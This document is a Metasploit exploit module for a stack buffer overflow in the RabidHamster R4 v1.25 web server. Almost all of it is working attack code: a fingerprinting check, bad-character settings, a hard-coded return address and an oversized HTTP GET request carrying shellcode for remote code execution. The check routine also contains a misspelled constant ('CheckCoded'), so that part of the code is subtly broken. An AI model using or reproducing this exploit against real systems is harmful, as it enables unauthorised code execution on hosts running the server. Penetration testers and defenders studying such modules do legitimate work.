RabidHamster R4 Log Entry sprintf() Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in RabidHamster R4's web server.
        By supplying a malformed HTTP request, it is possible to trigger a stack-based
        buffer overflow when generating a log, which may result in arbitrary code
        execution under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma',  #Discovery, PoC
          'sinn3r'           #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '79007'],
          ['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],
        ],
      'Payload'        =>
        {
          'StackAdjustment' => -3500,
          'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['R4 v1.25', {'Ret'=>0x73790533}]  #JMP ESI (ddraw.dll)
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-02-09',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptPort.new('RPORT', [true, 'The remote port', 8888])
        ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => '/'
    })

    if res and res.headers['Server'] == 'R4 Embedded Server'
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCoded::Safe
    end
  end

  def exploit
    buf = ''
    buf << payload.encoded
    buf << rand_text_alpha(2022-buf.length, payload_badchars)
    buf << [target.ret].pack("V*")
    buf << pattern_create(200)
    buf << rand_text_alpha(3000-buf.length, payload_badchars)

    send_request_cgi({
      'method' => 'GET',
      'uri'    => "/?#{buf}"
    })
  end
end